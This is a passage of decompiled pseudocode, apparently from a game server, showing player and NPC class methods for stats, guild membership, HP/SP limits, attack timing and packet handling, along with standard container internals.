eax@1 result = *(_DWORD *)(this + 89144) + *(_BYTE *)(this + 91700); if ( result > 20 ) result = 20; return result; } //----- (004FC590) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedEffectContainer(void *this) { return (int)((char *)this + 91688); } //----- (004FC5A0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShinePlayer::smo_BattleKillScore() { return 150; } //----- (004FC5B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_AllCastCancel(int this) { int v1; // esi@1 v1 = this; if ( *(_WORD *)(this + 92124) >= 0 ) ShineObjectClass::ShinePlayer::sp_HorseFree(this); if ( *(_BYTE *)(v1 + 23380) ) ShineObjectClass::ShinePlayer::sp_MiniHouseFree((void *)v1); ShineObjectClass::ShinePlayer::sp_FlagCaptureFree((void *)v1); } //----- (004FC5E0) -------------------------------------------------------- ShineCommonParameter::FreeStatStr *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatStr(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatStr *result; // eax@2 v1 = this; if ( *(_BYTE *)(*(int (**)(void))(*(_DWORD *)this + 1040))() <= 0x96u ) result = shineparam.scp_param.freestatStr[*(_BYTE *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1)]; else result = shineparam.scp_param.freestatStr[0]; return result; } //----- (004FC610) -------------------------------------------------------- ShineCommonParameter::FreeStatInt *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatInt(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatInt *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1040))() + 3) <= 0x96u ) result = shineparam.scp_param.freestatInt[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1) + 3)]; else result = shineparam.scp_param.freestatInt[0]; return result; } //----- (004FC640) -------------------------------------------------------- ShineCommonParameter::FreeStatDex *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatDex(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatDex *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1040))() + 2) <= 0x96u ) result = shineparam.scp_param.freestatDex[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1) + 2)]; else result = shineparam.scp_param.freestatDex[0]; return result; } //----- (004FC670) -------------------------------------------------------- ShineCommonParameter::FreeStatCon *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatCon(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatCon *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1040))() + 1) <= 0x96u ) result = shineparam.scp_param.freestatCon[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1) + 1)]; else result = shineparam.scp_param.freestatCon[0]; return result; } //----- (004FC6A0) -------------------------------------------------------- ShineCommonParameter::FreeStatMen *__thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStatMen(void *this) { void *v1; // esi@1 ShineCommonParameter::FreeStatMen *result; // eax@2 v1 = this; if ( *(_BYTE *)((*(int (**)(void))(*(_DWORD *)this + 1040))() + 4) <= 0x96u ) result = shineparam.scp_param.freestatMen[*(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1040))(v1) + 4)]; else result = shineparam.scp_param.freestatMen[0]; return result; } //----- (004FC6D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedStatPlus(int this) { return *(_BYTE *)(this + 91713); } //----- (004FC6E0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_ply_RemoveWhen(void *this) { void *v1; // esi@1 char v2; // al@3 unsigned int result; // eax@4 v1 = this; if ( !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1136))() || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1136))(v1) == 3 || (v2 = *((_BYTE *)v1 + 23324), v2 & 1) ) result = 0; else result = ((unsigned int)(unsigned __int8)~v2 >> 1) & 1; return result; } //----- (004FC720) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_IncNGet_PKCount(int this) { int result; // eax@1 result = *(_DWORD *)(this + 32144) + 1; *(_DWORD *)(this + 32144) = result; return result; } //----- (004FC730) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_HideMyIdentity(int this) { BriefInformationCharacter::bic_HideMyIdentity((BriefInformationCharacter *)(this + 31884)); } //----- (004FC740) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_GMChatColor(int this) { return *(_BYTE *)(this + 32168); } //----- (004FC750) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademy(int this, int gld) { int result; // eax@1 result = gld; *(_DWORD *)(this + 91060) = gld; return result; } //----- (004FC760) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetMyGuildAcademyNo(int this) { return *(_DWORD *)(this + 91056); } //----- (004FC770) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_SetMyGuildAcademyNo(int this, int gldnum) { int result; // eax@1 result = gldnum; *(_DWORD *)(this + 91056) = gldnum; return result; } //----- (004FC780) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isAcademyGuildMember(int this) { return *(_DWORD *)(this + 91056) != 0; } //----- (004FC790) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isIAmGuildAcademyMaster(void *this) { void *v1; // esi@1 v1 = this; return !(unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 2044))() && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1980))(v1); } //----- (004FC7C0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundReq(int this) { return (*(_BYTE *)(this + 23325) & 8) == 8; } //----- (004FC7D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundReq(int this) { *(_BYTE *)(this + 23325) |= 8u; } //----- (004FC7E0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsLockedRefundCancelReq(int this) { return (*(_BYTE *)(this + 23325) & 0x10) == 16; } //----- (004FC7F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LockRefundCancelReq(int this) { *(_BYTE *)(this + 23325) |= 0x10u; } //----- (004FC800) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetPossibleNewConnect(int this) { return *(_BYTE *)(this + 92276); } //----- (004FC810) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_FreeStat_Get_DecreaseNum(int this, int Stat, unsigned __int8 a3) { unsigned __int8 v3; // dl@1 char result; // al@1 unsigned __int8 v5; // dl@3 unsigned __int8 v6; // dl@5 unsigned __int8 v7; // dl@7 unsigned __int8 v8; // cl@9 v3 = *(_BYTE *)(this + 32137); result = 0; if ( (unsigned __int8)Stat < v3 ) result = v3 - Stat; v5 = *(_BYTE *)(this + 32138); if ( BYTE1(Stat) < v5 ) result += v5 - BYTE1(Stat); v6 = *(_BYTE *)(this + 32139); if ( BYTE2(Stat) < v6 ) result += v6 - BYTE2(Stat); v7 = *(_BYTE *)(this + 32140); if ( BYTE3(Stat) < v7 ) result += v7 - BYTE3(Stat); v8 = *(_BYTE *)(this + 32141); if ( a3 < v8 ) result += v8 - a3; return result; } //----- (004FC870) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_IsLock(int this) { return *(_BYTE *)(this + 23652); } //----- (004FC880) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_Lock(int this) { *(_BYTE *)(this + 23652) = 1; } //----- (004FC890) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_CharFreeStat_UnLock(int this) { *(_BYTE *)(this + 23652) = 0; } //----- (004FC8A0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_PacketBufferFlush(void *this) { void *v1; // esi@1 int v2; // eax@1 char v3; // bl@1 int v4; // eax@1 char v5; // al@1 bool v6; // bl@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 760))(v1); v3 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v2 + 8))(v2, *((_DWORD *)v1 + 5914)); v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 764))(v1); v5 = (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 8))(v4, *((_DWORD *)v1 + 5914)); v6 = v3 && v5; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_PacketBufferFlush"); return v6; } //----- (004FC970) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreCharData(void *this, unsigned __int16 handle, char *fromwhere) { void *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 int v6; // eax@4 unsigned __int8 v7; // al@4 void *chartitle; // [sp+0h] [bp-4h]@1 chartitle = this; v3 = this; v4 = *(_DWORD *)((char *)this + 98); if ( !v4 || (v5 = *(_DWORD *)(v4 + 12)) == 0 || !*(_BYTE *)(v5 + 106) ) { v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)this + 1036))(this); LOBYTE(chartitle) = *(_BYTE *)(v6 + 548); BYTE1(chartitle) = *(_BYTE *)(v6 + 549); HIWORD(chartitle) = *(_WORD *)(v6 + 550); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1136))(v3); BriefInformationCharacter::bic_InitBriefInfo( (BriefInformationCharacter *)((char *)v3 + 31884), handle, v7, (ZoneCharData *)((char *)v3 + 32054), (CHARTITLE_BRIEFINFO *)&chartitle, fromwhere); ShineObjectClass::ShinePlayer::sp_BriefEquipmentSetting(v3); *((_BYTE *)v3 + 23324) |= 4u; } } //----- (004FCA00) -------------------------------------------------------- void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, int charmode, ZoneCharData *chardata, CHARTITLE_BRIEFINFO *chartitle, char *fromwhere) { char *v6; // esi@4 PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *v7; // edx@4 if ( charmode == 2 || charmode == 1 || !charmode ) { v6 = (char *)&this->bic_BriefInfo->coord; *(_DWORD *)v6 = chardata->toclient.basedata.logininfo.currentcoord.xy.x; *((_DWORD *)v6 + 1) = chardata->toclient.basedata.logininfo.currentcoord.xy.y; v6[8] = chardata->toclient.basedata.logininfo.currentcoord.dir; v7 = this->bic_BriefInfo; *(_QWORD *)&v7->charid.n4_name[0] = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[0]; *(_QWORD *)&v7->charid.n4_name[8] = *(_QWORD *)&chardata->toclient.basedata.charid.n4_name[8]; *(_DWORD *)&this->bic_BriefInfo->shapedata.notcamp.shape._bf0 = *(_DWORD *)&chardata->toclient.shape._bf0; this->bic_BriefInfo->emoticon.emoticonid = -1; this->bic_BriefInfo->emoticon.emoticonframe = 0; this->bic_BriefInfo->chrclass = ((unsigned __int8)chardata->toclient.shape._bf0 >> 2) & 0x1F; *(_DWORD *)&this->bic_BriefInfo->chartitle.Type = *(_DWORD *)&chartitle->Type; this->bic_BriefInfo->polymorph = -1; this->bic_BriefInfo->handle = handle; } } //----- (004FCAC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_FillBriefInformation(int this, int array) { return PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(array, *(_DWORD *)(this + 32047)); } //----- (004FCAE0) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxHP(void *this) { void *v1; // esi@1 unsigned int result; // eax@1 v1 = this; ShineObjectClass::ShinePlayer::sp_MaxHP(this); result = *((_DWORD *)v1 + 932); if ( *((_DWORD *)v1 + 8024) > result ) *((_DWORD *)v1 + 8024) = result; return result; } //----- (004FCB00) -------------------------------------------------------- unsigned int __thiscall ShineObjectClass::ShinePlayer::so_MaxSP(void *this) { void *v1; // esi@1 unsigned int result; // eax@1 v1 = this; ShineObjectClass::ShinePlayer::sp_MaxSP(this); result = *((_DWORD *)v1 + 933); if ( *((_DWORD *)v1 + 8025) > result ) *((_DWORD *)v1 + 8025) = result; return result; } //----- (004FCB20) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_MaxSP(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // edi@1 int v4; // edi@1 int v5; // eax@1 int v6; // edx@1 int v7; // edi@1 int v8; // edi@1 int v9; // ecx@1 int v10; // eax@1 int v11; // eax@2 MobDataBox::MobDataBoxIndex *v12; // eax@2 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1160))(); v3 = (*(int (__thiscall **)(int, void *, char *))(*(_DWORD *)v2 + 36))(v2, v1, (char *)v1 + 6948); v4 = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1124))(v1) + 5) + v3; v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1052))(v1); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 933) = ((signed int)((unsigned __int64)(v4 * (*(_DWORD *)(v5 + 2496) + *((_WORD *)v1 + 45852) - 1000) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v4 * (*(_DWORD *)(v5 + 2496) + *((_WORD *)v1 + 45852) - 1000) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); v7 = (*(int (__thiscall **)(void *))(v6 + 1052))(v1); v8 = *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1052))(v1) + 1908) + *(_DWORD *)(v7 + 2300); v9 = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1052))(v1) + 340); v10 = *(_DWORD *)v1; *((_DWORD *)v1 + 933) += v9 + v8; if ( *(_WORD *)((*(int (__thiscall **)(void *))(v10 + 1052))(v1) + 3140) != -1 ) { v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1052))(v1); v12 = MobDataBox::operator__(&mobdatabox, *(_WORD *)(v11 + 3140)); if ( v12 ) *((_DWORD *)v1 + 932) = v12->data->MaxHP; } return *((_DWORD *)v1 + 933); } //----- (004FCC20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime(int this) { int v1; // esi@1 ShineObjectClass::ShinePlayer::TimeScheduler *v2; // edi@1 int v3; // eax@1 int v4; // ebx@3 int v5; // eax@3 v1 = this; v2 = (ShineObjectClass::ShinePlayer::TimeScheduler *)(this + 92156); *(_BYTE *)(this + 89008) |= 4u; v3 = *(_DWORD *)(this + 92168); if ( v3 != 2 ) { if ( v3 != 3 ) { v4 = (*(int (__stdcall **)(int, _DWORD))(**(_DWORD **)(this + 7152) + 8))(this + 7152, *(_WORD *)(this + 89004)); v5 = (*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1052))(v1); ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( v2, (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_SWING, (unsigned int)((unsigned int)(*(_DWORD *)(v5 + 2488) * v4) * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3) >> 32) >> 6); } } } //----- (004FCCA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_NextBashTime_AfterSkill(int this, int animation_millisec) { int v2; // eax@1 char v3; // bl@1 int v4; // ecx@1 int v5; // edx@1 int v6; // ebx@4 v2 = this; v3 = *(_BYTE *)(this + 89008) | 4; v4 = this + 92156; *(_BYTE *)(v2 + 89008) = v3; v5 = *(_DWORD *)(v4 + 12); if ( v5 != 2 && v5 != 3 && v3 & 1 ) { v6 = *(_DWORD *)(v2 + 172); *(_DWORD *)(v2 + 23328) = 0; *(_DWORD *)(v2 + 23332) = 0; if ( !v6 ) ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)v4, (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_SWING, animation_millisec); } } //----- (004FCD00) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetHandle(int this) { signed __int16 result; // ax@3 int v2; // eax@4 if ( *(_DWORD *)(this + 32180) || *(_DWORD *)(this + 32184) ) { v2 = *(_DWORD *)(this + 32180); if ( !v2 ) v2 = *(_DWORD *)(this + 32184); result = *(_WORD *)(v2 + 4); } else { result = -1; } return result; } //----- (004FCD30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_CurrentTargetObject(int this) { int result; // eax@1 result = *(_DWORD *)(this + 32180); if ( !result ) result = *(_DWORD *)(this + 32184); return result; } //----- (004FCD50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQSuccess(int this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)(this + 98); if ( v1 ) { v2 = *(_DWORD *)(v1 + 12); if ( v2 ) { if ( *(_BYTE *)(v2 + 54) == 1 ) CCharacterTitleZone::CT_KQSuccess((CCharacterTitleZone *)(this + 89936)); } } } //----- (004FCD70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQFail(int this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)(this + 98); if ( v1 ) { v2 = *(_DWORD *)(v1 + 12); if ( v2 ) { if ( *(_BYTE *)(v2 + 54) == 1 ) CCharacterTitleZone::CT_KQFail((CCharacterTitleZone *)(this + 89936)); } } } //----- (004FCD90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceFoldtent(void *this) { void *v1; // ebp@1 void *v2; // edi@2 int v3; // edi@3 char *v4; // eax@4 int v5; // ebx@4 int v6; // esi@4 int v7; // eax@4 int v8; // eax@5 int v9; // eax@5 int v10; // ST04_4@6 int v11; // eax@6 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@6 int v13; // [sp+1Ch] [bp-4h]@6 v1 = this; if ( **((_BYTE **)this + 929) == 4 ) { (*(void (__stdcall **)(signed int, signed int))(*(_DWORD *)this + 772))(8, 61); **((_BYTE **)v1 + 929) = 1; v2 = (void *)(*(_DWORD *)((char *)v1 + 32047) + 29); if ( *((_BYTE *)v1 + 89087) ) { memcpy(v2, (char *)v1 + 89040, 0x2Cu); v3 = (int)((char *)v2 + 44); *(_WORD *)v3 = *((_WORD *)v1 + 44542); *(_BYTE *)(v3 + 2) = *((_BYTE *)v1 + 89086); *((_BYTE *)v1 + 89087) = 0; } *((_DWORD *)v1 + 22482) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8236; *((_WORD *)v4 + 1) = *((_WORD *)v1 + 2); v5 = (int)(v4 + 4); v6 = *(_DWORD *)((char *)v1 + 32047) + 29; memcpy(v4 + 4, (const void *)v6, 0x2Cu); v6 += 44; *((_WORD *)v4 + 24) = *(_WORD *)v6; v4[50] = *(_BYTE *)(v6 + 2); v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); if ( (((unsigned int)*(_BYTE *)v5 >> 2) & 0x1F) != (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 40))(v7) ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); (*(void (__thiscall **)(int))(*(_DWORD *)v8 + 40))(v8); v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1160))(v1); *(_BYTE *)v5 ^= (*(_BYTE *)v5 ^ 4 * (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 40))(v9)) & 0x7C; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 51); v10 = *(_DWORD *)((char *)v1 + 78); v13 = 0; v11 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v11, v10, 0, 0, (int)&alchat, 0, 65535); v13 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } } //----- (004FCEF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::_ShineNPC(ShineObjectClass::ShineNPC *this) { *(_DWORD *)&this->gap0[0] = &ShineObjectClass::ShineNPC::_vftable_; ShineObjectClass::ShineMob::_ShineMob((int)this); } // 5C9570: using guessed type int (*ShineObjectClass__ShineNPC___vftable_)(); //----- (004FCF00) -------------------------------------------------------- ShineRTTI *__thiscall ShineObjectClass::ShineNPC::GetRTTI(ShineObjectClass::ShineNPC *this) { return &ShineObjectClass::ShineNPC::m_RTTI; } //----- (004FCF10) -------------------------------------------------------- int __thiscall CharClassFighter::cc_BaseClass(ORFieldIndex *this) { return 1; } //----- (004FCF20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineNPC::so_SetGateBriefInform(ShineObjectClass::ShineNPC *this, char *linktoclient) { *(_BYTE *)(*(_DWORD *)&this->gap0[7551] + 14) = 1; Name3::operator_((Name3 *)(*(_DWORD *)&this->gap0[7551] + 15), linktoclient); } //----- (004FCF40) -------------------------------------------------------- unsigned __int16 __thiscall ShineObjectClass::ShineNPC::so_RemakeHandle(ShineObjectClass::ShineNPC *this, unsigned __int16 handle) { ShineObjectClass::ShineNPC *sohu; // [sp+0h] [bp-4h]@1 sohu = this; MoveManager::MoveManager((DiceTaiSai *)&sohu); LOWORD(sohu) = 16 * handle | 0xD; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&sohu); return 16 * handle | 0xD; } //----- (004FCF70) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShinePlayer::_vector_deleting_destructor_(unsigned int this) { void *v1; // esi@1 void *result; // eax@4 char v3; // [sp+Ch] [bp+4h]@0 v1 = (void *)this; if ( v3 & 2 ) { _eh_vector_destructor_iterator_( (void *)this, 0x16A20u, *(_DWORD *)(this - 4), (void (__thiscall *)(void *))ShineObjectClass::ShinePlayer::_ShinePlayer); if ( v3 & 1 ) operator delete__((char *)v1 - 4); result = (char *)v1 - 4; } else { ShineObjectClass::ShinePlayer::_ShinePlayer(this); if ( v3 & 1 ) operator delete(v1); result = v1; } return result; } // 4FCF70: inconsistent function type and number of purged bytes //----- (004FCFD0) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineNPC::_vector_deleting_destructor_(ShineObjectClass::ShineNPC *this, unsigned int a2) { void *v2; // esi@1 void *result; // eax@4 v2 = this; if ( a2 & 2 ) { _eh_vector_destructor_iterator_( this, 0x22E0u, *((_DWORD *)this - 1), (void (__thiscall *)(void *))ShineObjectClass::ShineNPC::_ShineNPC); if ( a2 & 1 ) operator delete__((char *)v2 - 4); result = (char *)v2 - 4; } else { ShineObjectClass::ShineNPC::_ShineNPC(this); if ( a2 & 1 ) operator delete(v2); result = v2; } return result; } //----- (004FD030) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, const unsigned int *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= 0x3FFFFFFE ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( (std::_Tree,std::allocator,0> > *)this, (std::_Tree_nod,std::allocator,0> >::_Node *)this->_Myhead, (std::_Tree_nod,std::allocator,0> >::_Node *)_Wherenode, (std::_Tree_nod,std::allocator,0> >::_Node *)this->_Myhead, (AbnormalStateInfo::ABSTATEINDEX *)_Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v5->_Myhead->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v5->_Myhead->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { if ( _Addleft ) { _Wherenode->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 16) = 1; *(_BYTE *)(v14 + 16) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 16) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004FD1E0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 unsigned int *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::list,std::allocator > >::iterator *v8; // ST04_4@7 std::list,std::allocator > >::iterator *v9; // ST00_4@7 unsigned int *v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *_Ptr; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 4 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::list,std::allocator > >::iterator 